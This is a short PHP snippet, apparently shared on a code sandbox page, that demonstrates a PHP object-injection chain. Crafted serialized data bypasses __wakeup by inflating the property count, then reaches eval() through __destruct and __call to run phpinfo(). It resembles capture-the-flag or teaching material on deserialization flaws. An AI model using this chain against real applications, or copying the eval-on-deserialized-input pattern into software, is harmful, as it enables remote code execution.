<?php class A{ public $info; public function __destruct(){ $this->info->func(); } } class B{ public $end; public function __wakeup(){ $this->end = "exit();"; echo '__wakeup'; } public function __call($method, $args){ eval('echo "aaaa";' . $this->end . 'echo "bbb";'); } } $b = new B(); $b->info = new A(); //echo serialize($b); unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}');
You have javascript disabled. You will not be able to edit any code.